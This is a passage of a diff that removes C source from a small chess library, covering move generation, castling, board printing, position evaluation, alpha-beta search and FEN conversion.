SCL_squareSetAdd(result, square2); \ - square2 += add; - - checkSquare(l && u, 1) checkSquare(u, 1) checkSquare(r && u, 6) checkSquare(l, 2) - checkSquare(r, 6) checkSquare(l && d, 1) checkSquare(d, 1) checkSquare(r && d, 0) -#undef checkSquare - - // castling: - - if(checkCastling) { - uint8_t bitShift = 4 + 2 * (!isWhite); - - if((board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] & (0x03 << bitShift)) && - !SCL_boardSquareAttacked(board, pieceSquare, !isWhite)) // no check? - { -#if !SCL_960_CASTLING - // short castle: - pieceSquare++; - - if((board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] & (0x01 << bitShift)) && - (board[pieceSquare] == '.') && (board[pieceSquare + 1] == '.') && - (board[pieceSquare + 2] == SCL_pieceToColor('r', isWhite)) && - !SCL_boardSquareAttacked(board, pieceSquare, !isWhite)) - SCL_squareSetAdd(result, pieceSquare + 1); - - /* note: don't check the final square for check, it will potentially - be removed later (can't end up in check) */ - - // long castle: - pieceSquare -= 2; - - if((board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] & (0x02 << bitShift)) && - (board[pieceSquare] == '.') && (board[pieceSquare - 1] == '.') && - (board[pieceSquare - 2] == '.') && - (board[pieceSquare - 3] == SCL_pieceToColor('r', isWhite)) && - !SCL_boardSquareAttacked(board, pieceSquare, !isWhite)) - SCL_squareSetAdd(result, pieceSquare - 1); -#else // 960 castling - for(int i = 0; i < 2; ++i) // short and long - if(board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] & ((i + 1) << bitShift)) { - uint8_t rookPos = board[SCL_BOARD_EXTRA_BYTE] >> 3, targetPos = 5; - - if(i == 1) { - rookPos = board[SCL_BOARD_EXTRA_BYTE] & 0x07, targetPos = 3; - } - - if(!isWhite) { - rookPos += 56; - targetPos += 56; - } - - uint8_t ok = board[rookPos] == SCL_pieceToColor('r', isWhite); - - if(!ok) continue; - - int8_t inc = 1 - 2 * (targetPos > rookPos); - - while(targetPos != rookPos) // check vacant squares for the rook - { - if(board[targetPos] != '.' && targetPos != pieceSquare) { - ok = 0; - break; - } - - targetPos += inc; - } - - if(!ok) continue; - - targetPos = i == 0 ? 6 : 2; - - if(!isWhite) targetPos += 56; - - inc = 1 - 2 * (targetPos > pieceSquare); - - while(targetPos != pieceSquare) // check squares for the king - { - if((board[targetPos] != '.' && targetPos != rookPos) || - SCL_boardSquareAttacked(board, targetPos, !isWhite)) { - ok = 0; - break; - } - - targetPos += inc; - } - - if(ok) SCL_squareSetAdd(result, rookPos); - } -#endif - } - } - } break; - - default: - break; - } -} - -void SCL_printSquareSet(SCL_SquareSet set, SCL_PutCharFunction putCharFunc) { - uint8_t first = 1; - - putCharFunc('('); - - for(uint8_t i = 0; i < SCL_BOARD_SQUARES; ++i) { - if(!SCL_squareSetContains(set, i)) continue; - - if(!first) - putCharFunc(','); - else - first = 0; - - putCharFunc('A' + i % 8); - putCharFunc('1' + i / 8); - } - - putCharFunc(')'); -} - -void SCL_printSquareUTF8(uint8_t square, SCL_PutCharFunction putCharFunc) { - uint32_t val = 0; - - switch(square) { - case 'r': - val = 0x9c99e200; - break; - case 'n': - val = 0x9e99e200; - break; - case 'b': - val = 0x9d99e200; - break; - case 'q': - val = 0x9b99e200; - break; - case 'k': - val = 0x9a99e200; - break; - case 'p': - val = 0x9f99e200; - break; - case 'R': - val = 0x9699e200; - break; - case 'N': - val = 0x9899e200; - break; - case 'B': - val = 0x9799e200; - break; - case 'Q': - val = 0x9599e200; - break; - case 'K': - val = 0x9499e200; - break; - case 'P': - val = 0x9999e200; - break; - case '.': - val = 0x9296e200; - break; - case ',': - val = 0x9196e200; - break; - default: - putCharFunc(square); - return; - break; - } - - uint8_t count = 4; - - while((val % 256 == 0) && (count > 0)) { - val /= 256; - count--; - } - - while(count > 0) { - putCharFunc(val % 256); - val /= 256; - count--; - } -} - -void SCL_boardGetMoves(SCL_Board board, uint8_t pieceSquare, SCL_SquareSet result) { - SCL_SquareSet allMoves; - - SCL_squareSetClear(allMoves); - - for(uint8_t i = 0; i < 8; ++i) result[i] = 0; - - SCL_boardGetPseudoMoves(board, pieceSquare, 1, allMoves); - - // Now only keep moves that don't lead to one's check: - - SCL_SQUARE_SET_ITERATE_BEGIN(allMoves) - - SCL_MoveUndo undo = SCL_boardMakeMove(board, pieceSquare, iteratedSquare, 'q'); - - if(!SCL_boardCheck(board, !SCL_boardWhitesTurn(board))) - SCL_squareSetAdd(result, iteratedSquare); - - SCL_boardUndoMove(board, undo); - - SCL_SQUARE_SET_ITERATE_END -} - -uint8_t SCL_boardDead(SCL_Board board) { - /* - This byte represents material by bits: - - MSB _ _ _ _ _ _ _ _ LSB - | | | | | \_ white knight - | | | | \__ white bishop on white - | | | \____ white bishop on black - | | \________ black knight - | \__________ black bishop on white - \____________ black bishop on black - */ - uint8_t material = 0; - - const char* p = board; - - for(uint8_t i = 0; i < SCL_BOARD_SQUARES; ++i) { - char c = *p; - - switch(c) { - case 'n': - material |= 0x01; - break; - case 'N': - material |= 0x10; - break; - case 'b': - material |= (0x02 << (!SCL_squareIsWhite(i))); - break; - case 'B': - material |= (0x20 << (!SCL_squareIsWhite(i))); - break; - case 'p': - case 'P': - case 'r': - case 'R': - case 'q': - case 'Q': - return 0; // REMOVE later if more complex check are performed - break; - - default: - break; - } - - p++; - } - - // TODO: add other checks than only insufficient material - - // possible combinations of insufficient material: - - return (material == 0x00) || // king vs king - (material == 0x01) || // king and knight vs king - (material == 0x10) || // king and knight vs king - (material == 0x02) || // king and bishop vs king - (material == 0x20) || // king and bishop vs king - (material == 0x04) || // king and bishop vs king - (material == 0x40) || // king and bishop vs king - (material == 0x22) || // king and bishop vs king and bishop (same color) - (material == 0x44); // king and bishop vs king and bishop (same color) -} - -uint8_t SCL_boardGetPosition(SCL_Board board) { - uint8_t check = SCL_boardCheck(board, SCL_boardWhitesTurn(board)); - uint8_t moves = SCL_boardMovePossible(board); - - if(check) - return moves ? SCL_POSITION_CHECK : SCL_POSITION_MATE; - else if(!moves) - return SCL_POSITION_STALEMATE; - - if(SCL_boardDead(board)) return SCL_POSITION_DEAD; - - return SCL_POSITION_NORMAL; -} - -uint8_t SCL_stringToMove( - const char* moveString, - uint8_t* resultFrom, - uint8_t* resultTo, - char* resultPromotion) { - char c; - - uint8_t* dst = resultFrom; - - for(uint8_t i = 0; i < 2; ++i) { - c = *moveString; - - *dst = (c >= 'a') ? (c - 'a') : (c - 'A'); - - if(*dst > 7) return 0; - - moveString++; - c = *moveString; - - *dst += 8 * (c - '1'); - - if(*dst > 63) return 0; - - moveString++; - - dst = resultTo; - } - - c = *moveString; - - if(c < 'A') c = c - 'A' + 'a'; - - switch(c) { - case 'N': - case 'n': - *resultPromotion = 'n'; - break; - case 'B': - case 'b': - *resultPromotion = 'b'; - break; - case 'R': - case 'r': - *resultPromotion = 'r'; - break; - case 'Q': - case 'q': - default: - *resultPromotion = 'q'; - break; - } - - return 1; -} - -void SCL_printBoard( - SCL_Board board, - SCL_PutCharFunction putCharFunc, - SCL_SquareSet highlightSquares, - uint8_t selectSquare, - uint8_t format, - uint8_t offset, - uint8_t labels, - uint8_t blackDown) { - if(labels) { - for(uint8_t i = 0; i < offset + 2; ++i) putCharFunc(' '); - - for(uint8_t i = 0; i < 8; ++i) { - if((format != SCL_PRINT_FORMAT_COMPACT) && (format != SCL_PRINT_FORMAT_COMPACT_UTF8)) - putCharFunc(' '); - - putCharFunc(blackDown ? ('H' - i) : ('A' + i)); - } - - putCharFunc('\n'); - } - - int8_t i = 7; - int8_t add = 1; - - if(!blackDown) { - i = 56; - add = -1; - } - - for(int8_t row = 0; row < 8; ++row) { - for(uint8_t j = 0; j < offset; ++j) putCharFunc(' '); - - if(labels) { - putCharFunc(!blackDown ? ('8' - row) : ('1' + row)); - putCharFunc(' '); - } - - const char* square = board + i; - - for(int8_t col = 0; col < 8; ++col) { - switch(format) { - case SCL_PRINT_FORMAT_COMPACT: - putCharFunc( - (*square == '.') ? - (((i != selectSquare) ? - (!SCL_squareSetContains(highlightSquares, i) ? *square : '*') : - '#')) : - *square); - break; - - case SCL_PRINT_FORMAT_UTF8: { - char squareChar = SCL_squareIsWhite(i) ? '.' : ','; - char pieceChar = (*square == '.') ? squareChar : *square; - - if(i == selectSquare) { - putCharFunc('('); - - if(*square == '.') - putCharFunc(')'); - else - SCL_printSquareUTF8(pieceChar, putCharFunc); - } else if(!SCL_squareSetContains(highlightSquares, i)) { - SCL_printSquareUTF8(squareChar, putCharFunc); - SCL_printSquareUTF8(pieceChar, putCharFunc); - } else { - putCharFunc('['); - - if(*square == '.') - putCharFunc(']'); - else - SCL_printSquareUTF8(*square, putCharFunc); - } - - break; - } - - case SCL_PRINT_FORMAT_COMPACT_UTF8: - SCL_printSquareUTF8( - (*square == '.') ? - (SCL_squareSetContains(highlightSquares, i) ? - '*' : - (i == selectSquare ? '#' : ((SCL_squareIsWhite(i) ? '.' : ',')))) : - *square, - putCharFunc); - break; - - case SCL_PRINT_FORMAT_NORMAL: - default: { - uint8_t c = *square; - - char squareColor = SCL_squareIsWhite(i) ? ' ' : ':'; - - putCharFunc( - (i != selectSquare) ? - (!SCL_squareSetContains(highlightSquares, i) ? squareColor : '#') : - '@'); - - putCharFunc(c == '.' ? squareColor : *square); - break; - } - } - - i -= add; - square -= add; - } - - putCharFunc('\n'); - - i += add * 16; - } // for rows -} - -int16_t SCL_pieceValuePositive(char piece) { - switch(piece) { - case 'p': - case 'P': - return SCL_VALUE_PAWN; - break; - case 'n': - case 'N': - return SCL_VALUE_KNIGHT; - break; - case 'b': - case 'B': - return SCL_VALUE_BISHOP; - break; - case 'r': - case 'R': - return SCL_VALUE_ROOK; - break; - case 'q': - case 'Q': - return SCL_VALUE_QUEEN; - break; - case 'k': - case 'K': - return SCL_VALUE_KING; - break; - default: - break; - } - - return 0; -} - -int16_t SCL_pieceValue(char piece) { - switch(piece) { - case 'P': - return SCL_VALUE_PAWN; - break; - case 'N': - return SCL_VALUE_KNIGHT; - break; - case 'B': - return SCL_VALUE_BISHOP; - break; - case 'R': - return SCL_VALUE_ROOK; - break; - case 'Q': - return SCL_VALUE_QUEEN; - break; - case 'K': - return SCL_VALUE_KING; - break; - case 'p': - return -1 * SCL_VALUE_PAWN; - break; - case 'n': - return -1 * SCL_VALUE_KNIGHT; - break; - case 'b': - return -1 * SCL_VALUE_BISHOP; - break; - case 'r': - return -1 * SCL_VALUE_ROOK; - break; - case 'q': - return -1 * SCL_VALUE_QUEEN; - break; - case 'k': - return -1 * SCL_VALUE_KING; - break; - default: - break; - } - - return 0; -} - -#define ATTACK_BONUS 3 -#define MOBILITY_BONUS 10 -#define CENTER_BONUS 7 -#define CHECK_BONUS 5 -#define KING_CASTLED_BONUS 30 -#define KING_BACK_BONUS 15 -#define KING_NOT_CENTER_BONUS 15 -#define PAWN_NON_DOUBLE_BONUS 3 -#define PAWN_PAIR_BONUS 3 -#define KING_CENTERNESS 10 - -int16_t _SCL_rateKingEndgamePosition(uint8_t position) { - int16_t result = 0; - uint8_t rank = position / 8; - position %= 8; - - if(position > 1 && position < 6) result += KING_CENTERNESS; - - if(rank > 1 && rank < 6) result += KING_CENTERNESS; - - return result; -} - -int16_t SCL_boardEvaluateStatic(SCL_Board board) { - uint8_t position = SCL_boardGetPosition(board); - - int16_t total = 0; - - switch(position) { - case SCL_POSITION_MATE: - return SCL_boardWhitesTurn(board) ? -1 * SCL_EVALUATION_MAX_SCORE : - SCL_EVALUATION_MAX_SCORE; - break; - - case SCL_POSITION_STALEMATE: - case SCL_POSITION_DEAD: - return 0; - break; - - /* - main points are assigned as follows: - - points for material as a sum of all material on board - - for playing side: if a piece attacks piece of greater value, a fraction - of the value difference is gained (we suppose exchange), this is only - gained once per every attacking piece (maximum gain is taken), we only - take fraction so that actually taking the piece is favored - - ATTACK_BONUS points for any attacked piece - - other points are assigned as follows (in total these shouldn't be more - than the value of one pawn) - - mobility: MOBILITY_BONUS points for each piece with at least 4 possible - moves - - center control: CENTER_BONUS points for a piece on a center square - - CHECK_BONUS points for check - - king: - - safety (non endgame): KING_BACK_BONUS points for king on staring rank, - additional KING_CASTLED_BONUS if the kind if on castled square or - closer to the edge, additional KING_NOT_CENTER_BONUS for king not on - its start neighbouring center square - - center closeness (endgame): up to 2 * KING_CENTERNESS points for - being closer to center - - non-doubled pawns: PAWN_NON_DOUBLE_BONUS points for each pawn without - same color pawn directly in front of it - - pawn structure: PAWN_PAIR_BONUS points for each pawn guarding own pawn - - advancing pawns: 1 point for each pawn's rank in its move - direction - */ - - case SCL_POSITION_CHECK: - total += SCL_boardWhitesTurn(board) ? -1 * CHECK_BONUS : CHECK_BONUS; - /* FALLTHROUGH */ - case SCL_POSITION_NORMAL: - default: { - SCL_SquareSet moves; - - const char* p = board; - - int16_t positiveMaterial = 0; - uint8_t endgame = 0; - - // first count material to see if this is endgame or not - for(uint8_t i = 0; i < SCL_BOARD_SQUARES; ++i, ++p) { - char s = *p; - - if(s != '.') { - positiveMaterial += SCL_pieceValuePositive(s); - total += SCL_pieceValue(s); - } - } - - endgame = positiveMaterial <= SCL_ENDGAME_MATERIAL_LIMIT; - - p = board; - - for(uint8_t i = 0; i < SCL_BOARD_SQUARES; ++i, ++p) { - char s = *p; - - if(s != '.') { - uint8_t white = SCL_pieceIsWhite(s); - - switch(s) { - case 'k': // king safety - if(endgame) - total -= _SCL_rateKingEndgamePosition(i); - else if(i >= 56) { - total -= KING_BACK_BONUS; - - if(i != 59) { - total -= KING_NOT_CENTER_BONUS; - - if(i >= 62 || i <= 58) total -= KING_CASTLED_BONUS; - } - } - break; - - case 'K': - if(endgame) - total += _SCL_rateKingEndgamePosition(i); - else if(i <= 7) { - total += KING_BACK_BONUS; - - if(i != 3) { - total += KING_NOT_CENTER_BONUS; - - if(i <= 2 || i >= 6) total += KING_CASTLED_BONUS; - } - } - break; - - case 'P': // pawns - case 'p': { - int8_t rank = i / 8; - - if(rank != 0 && rank != 7) { - if(s == 'P') { - total += rank; - - char* tmp = board + i + 8; - - if(*tmp != 'P') total += PAWN_NON_DOUBLE_BONUS; - - if(i % 8 != 7) { - tmp++; - - if(*tmp == 'P') total += PAWN_PAIR_BONUS; - - if(*(tmp - 16) == 'P') total += PAWN_PAIR_BONUS; - } - } else { - total -= 7 - rank; - - char* tmp = board + i - 8; - - if(*tmp != 'p') total -= PAWN_NON_DOUBLE_BONUS; - - if(i % 8 != 7) { - tmp += 17; - - if(*tmp == 'p') total -= PAWN_PAIR_BONUS; - - if(*(tmp - 16) == 'p') total -= PAWN_PAIR_BONUS; - } - } - } - - break; - } - - default: - break; - } - - if(i >= 27 && i <= 36 && (i >= 35 || i <= 28)) // center control - total += white ? CENTER_BONUS : (-1 * CENTER_BONUS); - - // for performance we only take pseudo moves - SCL_boardGetPseudoMoves(board, i, 0, moves); - - if(SCL_squareSetSize(moves) >= 4) // mobility - total += white ? MOBILITY_BONUS : (-1 * MOBILITY_BONUS); - - int16_t exchangeBonus = 0; - - SCL_SQUARE_SET_ITERATE_BEGIN(moves) - - if(board[iteratedSquare] != '.') { - total += white ? ATTACK_BONUS : (-1 * ATTACK_BONUS); - - if(SCL_boardWhitesTurn(board) == white) { - int16_t valueDiff = SCL_pieceValuePositive(board[iteratedSquare]) - - SCL_pieceValuePositive(s); - - valueDiff /= 4; // only take a fraction to favor taking - - if(valueDiff > exchangeBonus) exchangeBonus = valueDiff; - } - } - - SCL_SQUARE_SET_ITERATE_END - - if(exchangeBonus != 0) total += white ? exchangeBonus : -1 * exchangeBonus; - } - } // for each square - - return total; - - break; - - } // normal position - } // switch - - return 0; -} - -#undef ATTACK_BONUS -#undef MOBILITY_BONUS -#undef CENTER_BONUS -#undef CHECK_BONUS -#undef KING_CASTLED_BONUS -#undef KING_BACK_BONUS -#undef PAWN_NON_DOUBLE_BONUS -#undef PAWN_PAIR_BONUS -#undef KING_CENTERNESS - -SCL_StaticEvaluationFunction _SCL_staticEvaluationFunction; -int16_t _SCL_currentEval; -int8_t _SCL_depthHardLimit; - -/** - Inner recursive function for SCL_boardEvaluateDynamic. It is passed a square - (or -1) at which last capture happened, to implement capture extension. -*/ -int16_t _SCL_boardEvaluateDynamic( - SCL_Board board, - int8_t depth, - int16_t alphaBeta, - int8_t takenSquare) { -#if SCL_COUNT_EVALUATED_POSITIONS - SCL_positionsEvaluated++; -#endif - -#if SCL_CALL_WDT_RESET - wdt_reset(); -#endif - - uint8_t whitesTurn = SCL_boardWhitesTurn(board); - int8_t valueMultiply = whitesTurn ? 1 : -1; - int16_t bestMoveValue = -1 * SCL_EVALUATION_MAX_SCORE; - uint8_t shouldCompute = depth > 0; - uint8_t extended = 0; - uint8_t positionType = SCL_boardGetPosition(board); - - if(!shouldCompute) { - /* here we do two extensions (deeper search): taking on a same square - (exchanges) and checks (good for mating and preventing mates): */ - extended = (depth > _SCL_depthHardLimit) && - (takenSquare >= 0 || (SCL_boardGetPosition(board) == SCL_POSITION_CHECK)); - - shouldCompute = extended; - } - -#if SCL_DEBUG_AI - char moveStr[8]; - uint8_t debugFirst = 1; -#endif - - if(shouldCompute && - (positionType == SCL_POSITION_NORMAL || positionType == SCL_POSITION_CHECK)) { -#if SCL_DEBUG_AI - putchar('('); -#endif - - alphaBeta *= valueMultiply; - uint8_t end = 0; - const char* b = board; - - depth--; - - for(uint8_t i = 0; i < SCL_BOARD_SQUARES; ++i, ++b) { - char s = *b; - - if(s != '.' && SCL_pieceIsWhite(s) == whitesTurn) { - SCL_SquareSet moves; - - SCL_squareSetClear(moves); - - SCL_boardGetMoves(board, i, moves); - - if(!SCL_squareSetEmpty(moves)) { - SCL_SQUARE_SET_ITERATE_BEGIN(moves) - - int8_t captureExtension = -1; - - if(board[iteratedSquare] != '.' && // takes a piece - (takenSquare == -1 || // extend on first taken sq. - (extended && takenSquare != -1) || // ignore check extension - (iteratedSquare == takenSquare))) // extend on same sq. taken - captureExtension = iteratedSquare; - - SCL_MoveUndo undo = SCL_boardMakeMove(board, i, iteratedSquare, 'q'); - - uint8_t s0Dummy, s1Dummy; - char pDummy; - - SCL_UNUSED(s0Dummy); - SCL_UNUSED(s1Dummy); - SCL_UNUSED(pDummy); - -#if SCL_DEBUG_AI - if(debugFirst) - debugFirst = 0; - else - putchar(','); - - if(extended) putchar('*'); - - printf("%s ", SCL_moveToString(board, i, iteratedSquare, 'q', moveStr)); -#endif - - int16_t value = _SCL_boardEvaluateDynamic( - board, - depth, // this is depth - 1, we decremented it -#if SCL_ALPHA_BETA - valueMultiply * bestMoveValue, -#else - 0, -#endif - captureExtension) * - valueMultiply; - - SCL_boardUndoMove(board, undo); - - if(value > bestMoveValue) { - bestMoveValue = value; - -#if SCL_ALPHA_BETA - // alpha-beta pruning: - - if(value > alphaBeta) // no, >= can't be here - { - end = 1; - iterationEnd = 1; - } -#endif - } - - SCL_SQUARE_SET_ITERATE_END - } // !squre set empty? - } // valid piece? - - if(end) break; - - } // for each square - -#if SCL_DEBUG_AI - putchar(')'); -#endif - } else // don't dive recursively, evaluate statically - { - bestMoveValue = valueMultiply * -#ifndef SCL_EVALUATION_FUNCTION - _SCL_staticEvaluationFunction(board); -#else - SCL_EVALUATION_FUNCTION(board); -#endif - - /* For stalemate return the opposite value of the board, i.e. if the - position is good for white, then stalemate is good for black and vice - versa. */ - if(positionType == SCL_POSITION_STALEMATE) bestMoveValue *= -1; - } - - /* Here we either improve (if the move worsens the situation) or devalve (if - it improves the situation) the result: this needs to be done so that good - moves far away are seen as worse compared to equally good moves achieved - in fewer moves. Without this an AI in winning situation may just repeat - random moves and draw by repetition even if it has mate in 1 (it sees all - moves as leading to mate). */ - bestMoveValue += bestMoveValue > _SCL_currentEval * valueMultiply ? -1 : 1; - -#if SCL_DEBUG_AI - printf("%d", bestMoveValue * valueMultiply); -#endif - - return bestMoveValue * valueMultiply; -} - -int16_t SCL_boardEvaluateDynamic( - SCL_Board board, - uint8_t baseDepth, - uint8_t extensionExtraDepth, - SCL_StaticEvaluationFunction evalFunction) { - _SCL_staticEvaluationFunction = evalFunction; - _SCL_currentEval = evalFunction(board); - _SCL_depthHardLimit = 0; - _SCL_depthHardLimit -= extensionExtraDepth; - - return _SCL_boardEvaluateDynamic( - board, - baseDepth, - SCL_boardWhitesTurn(board) ? SCL_EVALUATION_MAX_SCORE : (-1 * SCL_EVALUATION_MAX_SCORE), - -1); -} - -void SCL_boardRandomMove( - SCL_Board board, - SCL_RandomFunction randFunc, - uint8_t* squareFrom, - uint8_t* squareTo, - char* resultProm) { - *resultProm = (randFunc() < 128) ? ((randFunc() < 128) ? 'r' : 'n') : - ((randFunc() < 128) ? 'b' : 'q'); - - SCL_SquareSet set; - uint8_t white = SCL_boardWhitesTurn(board); - const char* s = board; - - SCL_squareSetClear(set); - - // find squares with pieces that have legal moves - - for(uint8_t i = 0; i < SCL_BOARD_SQUARES; ++i, ++s) { - char c = *s; - - if(c != '.' && SCL_pieceIsWhite(c) == white) { - SCL_SquareSet moves; - - SCL_boardGetMoves(board, i, moves); - - if(SCL_squareSetSize(moves) != 0) SCL_squareSetAdd(set, i); - } - } - - *squareFrom = SCL_squareSetGetRandom(set, randFunc); - - SCL_boardGetMoves(board, *squareFrom, set); - - *squareTo = SCL_squareSetGetRandom(set, randFunc); -} - -void SCL_printBoardSimple( - SCL_Board board, - SCL_PutCharFunction putCharFunc, - uint8_t selectSquare, - uint8_t format) { - SCL_SquareSet s; - - SCL_squareSetClear(s); - - SCL_printBoard(board, putCharFunc, s, selectSquare, format, 1, 1, 0); -} - -int16_t SCL_getAIMove( - SCL_Board board, - uint8_t baseDepth, - uint8_t extensionExtraDepth, - uint8_t endgameExtraDepth, - SCL_StaticEvaluationFunction evalFunc, - SCL_RandomFunction randFunc, - uint8_t randomness, - uint8_t repetitionMoveFrom, - uint8_t repetitionMoveTo, - uint8_t* resultFrom, - uint8_t* resultTo, - char* resultProm) { -#if SCL_DEBUG_AI - puts("===== AI debug ====="); - putchar('('); - unsigned char debugFirst = 1; - char moveStr[8]; -#endif - - if(baseDepth == 0) { - SCL_boardRandomMove(board, randFunc, resultFrom, resultTo, resultProm); -#ifndef SCL_EVALUATION_FUNCTION - return evalFunc(board); -#else - return SCL_EVALUATION_FUNCTION(board); -#endif - } - - if(SCL_boardEstimatePhase(board) == SCL_PHASE_ENDGAME) baseDepth += endgameExtraDepth; - - *resultFrom = 0; - *resultTo = 0; - *resultProm = 'q'; - - int16_t bestScore = SCL_boardWhitesTurn(board) ? -1 * SCL_EVALUATION_MAX_SCORE - 1 : - (SCL_EVALUATION_MAX_SCORE + 1); - - for(uint8_t i = 0; i < SCL_BOARD_SQUARES; ++i) - if(board[i] != '.' && SCL_boardWhitesTurn(board) == SCL_pieceIsWhite(board[i])) { - SCL_SquareSet moves; - - SCL_squareSetClear(moves); - - SCL_boardGetMoves(board, i, moves); - - SCL_SQUARE_SET_ITERATE_BEGIN(moves) - - int16_t score = 0; - -#if SCL_DEBUG_AI - if(debugFirst) - debugFirst = 0; - else - putchar(','); - - printf("%s ", SCL_moveToString(board, i, iteratedSquare, 'q', moveStr)); - -#endif - - if(i != repetitionMoveFrom || iteratedSquare != repetitionMoveTo) { - SCL_MoveUndo undo = SCL_boardMakeMove(board, i, iteratedSquare, 'q'); - - score = - SCL_boardEvaluateDynamic(board, baseDepth - 1, extensionExtraDepth, evalFunc); - - SCL_boardUndoMove(board, undo); - } - - if(randFunc != 0 && randomness > 1 && score < 16000 && score > -16000) { - /*^ We limit randomizing by about half the max score for two reasons: - to prevent over/under flows and secondly we don't want to alter - the highest values for checkmate -- these are modified by tiny - values depending on their depth so as to prevent endless loops in - which most moves are winning, biasing such values would completely - kill that algorithm */ - - int16_t bias = randFunc(); - bias = (bias - 128) / 2; - bias *= randomness - 1; - score += bias; - } - - uint8_t comparison = score == bestScore; - - if((comparison != 1) && ((SCL_boardWhitesTurn(board) && score > bestScore) || - (!SCL_boardWhitesTurn(board) && score < bestScore))) - comparison = 2; - - uint8_t replace = 0; - - if(randFunc == 0) - replace = comparison == 2; - else - replace = - (comparison == 2) || - ((comparison == 1) && (randFunc() < 160)); // not uniform distr. but simple - - if(replace) { - *resultFrom = i; - *resultTo = iteratedSquare; - bestScore = score; - } - - SCL_SQUARE_SET_ITERATE_END - } - -#if SCL_DEBUG_AI - printf(")%d %s\n", bestScore, SCL_moveToString(board, *resultFrom, *resultTo, 'q', moveStr)); - puts("===== AI debug end ===== "); -#endif - - return bestScore; -} - -uint8_t SCL_boardToFEN(SCL_Board board, char* string) { - uint8_t square = 56; - uint8_t spaces = 0; - uint8_t result = 0; - -#define put(c) \ - { \ - *string = (c); \ - string++; \ - result++; \ - } - - while(1) // pieces - { - char s = board[square]; - - if(s == '.') { - spaces++; - } else { - if(spaces != 0) { - put('0' + spaces) spaces = 0; - } - - put(s) - } - - square++; - - if(square % 8 == 0) { - if(spaces != 0) { - put('0' + spaces) spaces = 0; - } - - if(square == 8) break; - - put('/'); - - square -= 16; - } - } - - put(' '); - put(SCL_boardWhitesTurn(board) ? 'w' : 'b'); - put(' '); - - uint8_t b = board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] & 0xf0; - - if(b != 0) // castling - { - if(b & 0x10) put('K'); - if(b & 0x20) put('Q'); - if(b & 0x40) put('k'); - if(b & 0x80) put('q'); - } else - put('-'); - - put(' '); - - b = board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] & 0x0f; - - if(b < 8) { - put('a' + b); - put(SCL_boardWhitesTurn(board) ? '6' : '3'); - } else - put('-'); - - for(uint8_t i = 0; i < 2; ++i) { - put(' '); - - uint8_t moves = i == 0 ? ((uint8_t)board[SCL_BOARD_MOVE_COUNT_BYTE]) : - (((uint8_t)board[SCL_BOARD_PLY_BYTE]) / 2 + 1); - - uint8_t hundreds = moves / 100; - uint8_t tens = (moves % 100) / 10; - - if(hundreds != 0) { - put('0' + hundreds); - put('0' + tens); - } else if(tens != 0) - put('0' + tens); - - put('0' + moves % 10); - } - - *string = 0; // terminate the string - - return result + 1; - -#undef put -} - -uint8_t SCL_boardFromFEN(SCL_Board board, const char* string) { - uint8_t square = 56; - - while(1) { - char c = *string; - - if(c == 0) return 0; - - if(c != '/' && c != ' ') // ignore line separators - { - if(c < '9') // empty square sequence - { - while(c > '0') { - board[square] = '.'; - square++; - c--; - } - } else // piece - { - board[square] = c; - square++; - } - } else { - if(square == 8) break; - - square -= 16; - } - - string++; - } - -#define nextChar \ - string++; \ - if(*string == 0) return 0; - - nextChar // space - - board[SCL_BOARD_PLY_BYTE] = *string == 'b'; - nextChar - - nextChar // space - - uint8_t castleEnPassant = 0x0; - - while(*string != ' ') { - switch(*string) { - case 'K': - castleEnPassant |= 0x10; - break; - case 'Q': - castleEnPassant |= 0x20; - break; - case 'k': - castleEnPassant |= 0x40; - break; - case 'q': - castleEnPassant |= 0x80; - break; - default: - castleEnPassant |= 0xf0; - break; // for partial XFEN compat. - } - - nextChar - } - - nextChar // space - - if(*string != '-') { - castleEnPassant |= *string - 'a'; - nextChar - } - else castleEnPassant |= 0x0f; - - nextChar - - board[SCL_BOARD_ENPASSANT_CASTLE_BYTE] = castleEnPassant; - - for(uint8_t i = 0; i < 2; ++i) { - nextChar // space - - uint8_t ply = 0; - - while(1) { - char c = *string; - - if(c < '0' || c > '9') break; - - ply = ply * 10 + (c - '0'); - - string++; - } - - if(i == 0 && *string == 0) return 0; - - if(i == 0) - board[SCL_BOARD_MOVE_COUNT_BYTE] = ply; - else - board[SCL_BOARD_PLY_BYTE] += (ply - 1) * 2; - } - -#if SCL_960_CASTLING - _SCL_board960RememberRookPositions(board); -#endif - - return 1; -#undef nextChar -} - -uint8_t SCL_boardEstimatePhase(SCL_Board board) { - uint16_t totalMaterial = 0; - - uint8_t ply = board[SCL_BOARD_PLY_BYTE]; - - for(uint8_t i = 0; i < SCL_BOARD_SQUARES; ++i) { - char s = *board; - - if(s != '.') { - int16_t v = SCL_pieceValue(s); - - if(!SCL_pieceIsWhite(s)) v *= -1; - - totalMaterial += v; - } - - board++; - } - - if(totalMaterial < SCL_ENDGAME_MATERIAL_LIMIT) return SCL_PHASE_ENDGAME; - - if(ply <= 10 && (totalMaterial >= SCL_START_MATERIAL - 3 * SCL_VALUE_PAWN)) - return SCL_PHASE_OPENING; - - return SCL_PHASE_MIDGAME; -} - -#define SCL_IMAGE_COUNT 12 - -static const uint8_t SCL_images[8 * SCL_IMAGE_COUNT] = { - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x81, - 0xff, 0xff, 0xff, 0xff, 0xff, 0x81, 0xff, 0xff, 0xff, 0xff, 0xff, 0x81, 0xe7, 0xf7, - 0xf7, 0xaa, 0xff, 0xbd, 0xe7, 0xf7, 0xf7, 0xaa, 0xff, 0xc3, 0xc3, 0xe3, 0xc1, 0x80, - 0xff, 0x99, 0xdb, 0xeb, 0xc9, 0x94, 0xe7, 0xc3, 0x81, 0xc1, 0x94, 0x80, 0xe7, 0xdb, - 0xbd, 0xdd, 0xbe, 0xbe, 0xc3, 0xc3, 0x91, 0xe3, 0x80, 0x80, 0xdb, 0x99, 0x8d, 0xeb, - 0xaa, 0xbe, 0xc3, 0x81, 0xe1, 0xc1, 0xc1, 0xc1, 0xdb, 0xbd, 0xdd, 0xe3, 0xdd, 0xdd, - 0x81, 0x81, 0xc1, 0x9c, 0xc1, 0xc1, 0x81, 0x81, 0xc1, 0x9c, 0xc1, 0xc1}; - -void SCL_drawBoard( - SCL_Board board, - SCL_PutPixelFunction putPixel, - uint8_t selectedSquare, - SCL_SquareSet highlightSquares, - 